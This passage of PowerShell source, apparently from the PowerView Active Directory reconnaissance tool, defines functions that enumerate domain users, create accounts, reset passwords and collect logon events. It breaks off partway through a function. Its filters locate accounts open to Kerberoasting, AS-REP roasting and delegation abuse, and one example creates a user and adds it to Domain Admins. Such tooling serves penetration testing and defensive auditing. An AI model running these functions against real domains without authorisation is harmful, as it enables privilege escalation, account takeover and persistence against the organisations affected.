+Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Find-DomainObjectPropertyOutlier -ClassName 'User' + +Enumerates users in the current domain with 'outlier' properties filled in. + +.EXAMPLE + +Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local + +Enumerates groups in the external.local forest/domain with 'outlier' properties filled in. + +.EXAMPLE + +Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier + +Enumerates computers in the current domain with 'outlier' properties filled in. + +.OUTPUTS + +PowerView.PropertyOutlier + +Custom PSObject with translated object property outliers. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.PropertyOutlier')] + [CmdletBinding(DefaultParameterSetName = 'ClassName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')] + [Alias('Class')] + [ValidateSet('User', 'Group', 'Computer')] + [String] + $ClassName, + + [ValidateNotNullOrEmpty()] + [String[]] + $ReferencePropertySet, + + [Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')] + [PSCustomObject] + $ReferenceObject, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated') + + $GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated') + + $ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated') + + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + # Domain / Credential + if ($PSBoundParameters['Domain']) { + if ($PSBoundParameters['Credential']) { + $TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name + } + else { + $TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name + } + Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'" + } + + $SchemaArguments = @{} + if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential } + if ($TargetForest) { + $SchemaArguments['Forest'] = $TargetForest + } + } + + PROCESS { + + if ($PSBoundParameters['ReferencePropertySet']) { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet" + $ReferenceObjectProperties = $ReferencePropertySet + } + elseif ($PSBoundParameters['ReferenceObject']) { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set" + $ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name + $ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1 + Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass" + } + else { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'" + } + + if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) { + $Objects = Get-DomainUser @SearcherArguments + if (-not $ReferenceObjectProperties) { + $ReferenceObjectProperties = $UserReferencePropertySet + } + } + elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) { + $Objects = Get-DomainGroup @SearcherArguments + if (-not $ReferenceObjectProperties) { + $ReferenceObjectProperties = $GroupReferencePropertySet + } + } + elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) { + $Objects = Get-DomainComputer @SearcherArguments + if (-not $ReferenceObjectProperties) { + $ReferenceObjectProperties = $ComputerReferencePropertySet + } + } + else { + throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName" + } + + ForEach ($Object in $Objects) { + $ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name + ForEach($ObjectProperty in $ObjectProperties) { + if ($ReferenceObjectProperties -NotContains $ObjectProperty) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName + $Out | Add-Member Noteproperty 'Property' $ObjectProperty + $Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty + $Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier') + $Out + } + } + } + } +} + + +######################################################## +# +# "net *" replacements and other fun start below +# +######################################################## + +function Get-DomainUser { +<# +.SYNOPSIS + +Return all users or specific user objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all user objects for +the current domain are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. Also accepts DOMAIN\user format. + +.PARAMETER SPN + +Switch. Only return user objects with non-null service principal names. + +.PARAMETER UACFilter + +Dynamic parameter that accepts one or more values from $UACEnum, including +"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. + +.PARAMETER AdminCount + +Switch. Return users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER AllowDelegation + +Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' + +.PARAMETER DisallowDelegation + +Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation' + +.PARAMETER TrustedToAuth + +Switch. Return computer objects that are trusted to authenticate for other principals. + +.PARAMETER PreauthNotRequired + +Switch. Return user accounts with "Do not require Kerberos preauthentication" set. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainUser -Domain testlab.local + +Return all users for the testlab.local domain + +.EXAMPLE + +Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator" + +Return the user with the given SID, as well as Administrator. + +.EXAMPLE + +'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff + +lastlogoff samaccountname +---------- -------------- +12/31/1600 4:00:00 PM dfm.a +12/31/1600 4:00:00 PM dfm +12/31/1600 4:00:00 PM harmj0y +12/31/1600 4:00:00 PM Administrator + +.EXAMPLE + +Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation + +Search the specified OU for privileged user (AdminCount = 1) that allow delegation + +.EXAMPLE + +Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon + +Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon + +.EXAMPLE + +Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED + +Find users who doesn't require Kerberos preauthentication and DON'T have an expired password. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUser -Credential $Cred + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +Get-DomainUser dev\user1 -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1))) + +distinguishedname +----------------- +CN=user1,CN=Users,DC=dev,DC=testlab,DC=local + +.INPUTS + +String + +.OUTPUTS + +PowerView.User + +Custom PSObject with translated user property fields. + +PowerView.User.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.User')] + [OutputType('PowerView.User.Raw')] + [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [Switch] + $SPN, + + [Switch] + $AdminCount, + + [Parameter(ParameterSetName = 'AllowDelegation')] + [Switch] + $AllowDelegation, + + [Parameter(ParameterSetName = 'DisallowDelegation')] + [Switch] + $DisallowDelegation, + + [Switch] + $TrustedToAuth, + + [Alias('KerberosPreauthNotRequired', 'NoPreauth')] + [Switch] + $PreauthNotRequired, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + DynamicParam { + $UACValueNames = [Enum]::GetNames($UACEnum) + # add in the negations + $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} + # create new dynamic parameter + New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) + } + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $UserSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + + if ($UserSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $UserSearcher = Get-DomainSearcher @SearcherArguments + if (-not $UserSearcher) { + Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $UserName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$UserName)" + $SearcherArguments['Domain'] = $UserDomain + Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" + $UserSearcher = Get-DomainSearcher @SearcherArguments + } + } + else { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['SPN']) { + Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' + $Filter += '(servicePrincipalName=*)' + } + if ($PSBoundParameters['AllowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' + # negation of "Accounts that are sensitive and not trusted for delegation" + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' + } + if ($PSBoundParameters['DisallowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' + } + if ($PSBoundParameters['AdminCount']) { + Write-Verbose '[Get-DomainUser] Searching for adminCount=1' + $Filter += '(admincount=1)' + } + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' + } + if ($PSBoundParameters['PreauthNotRequired']) { + Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + } + } + + $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" + Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } + else { $Results = $UserSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $User = $_ + $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') + } + else { + $User = Convert-LDAPProperty -Properties $_.Properties + $User.PSObject.TypeNames.Insert(0, 'PowerView.User') + } + $User + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" + } + } + $UserSearcher.dispose() + } + } +} + + +function New-DomainUser { +<# +.SYNOPSIS + +Creates a new domain user (assuming appropriate permissions) and returns the user object. + +TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.UserPrincipal with the specified user properties. + +.PARAMETER SamAccountName + +Specifies the Security Account Manager (SAM) account name of the user to create. +Maximum of 256 characters. Mandatory. + +.PARAMETER AccountPassword + +Specifies the password for the created user. Mandatory. + +.PARAMETER Name + +Specifies the name of the user to create. If not provided, defaults to SamAccountName. + +.PARAMETER DisplayName + +Specifies the display name of the user to create. If not provided, defaults to SamAccountName. + +.PARAMETER Description + +Specifies the description of the user to create. + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword + +Creates the 'harmj0y2' user with the specified description and password. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred + +Creates the 'harmj0y2' user with the specified description and password, using the specified +alternate credentials. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +.OUTPUTS + +DirectoryServices.AccountManagement.UserPrincipal + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] + Param( + [Parameter(Mandatory = $True)] + [ValidateLength(0, 256)] + [String] + $SamAccountName, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Password')] + [Security.SecureString] + $AccountPassword, + + [ValidateNotNullOrEmpty()] + [String] + $Name, + + [ValidateNotNullOrEmpty()] + [String] + $DisplayName, + + [ValidateNotNullOrEmpty()] + [String] + $Description, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $ContextArguments = @{ + 'Identity' = $SamAccountName + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments + + if ($Context) { + $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context) + + # set all the appropriate user parameters + $User.SamAccountName = $Context.Identity + $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) + $User.SetPassword($TempCred.GetNetworkCredential().Password) + $User.Enabled = $True + $User.PasswordNotRequired = $False + + if ($PSBoundParameters['Name']) { + $User.Name = $Name + } + else { + $User.Name = $Context.Identity + } + if ($PSBoundParameters['DisplayName']) { + $User.DisplayName = $DisplayName + } + else { + $User.DisplayName = $Context.Identity + } + + if ($PSBoundParameters['Description']) { + $User.Description = $Description + } + + Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'" + try { + $Null = $User.Save() + Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created" + $User + } + catch { + Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_" + } + } +} + + +function Set-DomainUserPassword { +<# +.SYNOPSIS + +Sets the password for a given user identity. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified user -Identity, +which returns a DirectoryServices.AccountManagement.UserPrincipal object. The +SetPassword() function is then invoked on the user, setting the password to -AccountPassword. + +.PARAMETER Identity + +A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +specifying the user to reset the password for. + +.PARAMETER AccountPassword + +Specifies the password to reset the target user's to. Mandatory. + +.PARAMETER Domain + +Specifies the domain to use to search for the user identity, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword + +Resets the password for 'andy' to the password specified. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred + +Resets the password for 'andy' usering the alternate credentials specified. + +.OUTPUTS + +DirectoryServices.AccountManagement.UserPrincipal + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('UserName', 'UserIdentity', 'User')] + [String] + $Identity, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Password')] + [Security.SecureString] + $AccountPassword, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $ContextArguments = @{ 'Identity' = $Identity } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments + + if ($Context) { + $User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity) + + if ($User) { + Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'" + try { + $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) + $User.SetPassword($TempCred.GetNetworkCredential().Password) + + $Null = $User.Save() + Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset" + } + catch { + Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_" + } + } + else { + Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'" + } + } +} + + +function Get-DomainUserEvent { +<# +.SYNOPSIS + +Enumerate account logon events (ID 4624) and Logon with explicit credential +events (ID 4648) from the specified host (default of the localhost). + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function uses an XML path filter passed to Get-WinEvent to retrieve +security events with IDs of 4624 (logon events) or 4648 (explicit credential +logon events) from -StartTime (default of now-1 day) to -EndTime (default of now). +A maximum of -MaxEvents (default of 5000) are returned. + +.PARAMETER ComputerName + +Specifies the computer name to retrieve events from, default of localhost. + +.PARAMETER StartTime + +The [DateTime] object representing the start of when to collect events. +Default of [DateTime]::Now.AddDays(-1). + +.PARAMETER EndTime + +The [DateTime] object representing the end of when to collect events. +Default of [DateTime]::Now. + +.PARAMETER MaxEvents + +The maximum number of events to retrieve. Default of 5000. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target computer. + +.EXAMPLE + +Get-DomainUserEvent + +Return logon events on the local machine. + +.EXAMPLE + +Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3)) + +Return all logon events from the last 3 days from every domain controller in the current domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000 + +Return a max of 1000 logon events from the specified machine using the specified alternate credentials. + +.OUTPUTS + +PowerView.LogonEvent + +PowerView.ExplicitCredentialLogonEvent + +.LINK + +http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LogonEvent')] + [OutputType('PowerView.ExplicitCredentialLogonEvent')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('dnshostname', 'HostName', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [ValidateNotNullOrEmpty()] + [DateTime] + $StartTime = [DateTime]::Now.AddDays(-1), + + [ValidateNotNullOrEmpty()] + [DateTime] + $EndTime = [DateTime]::Now, + + 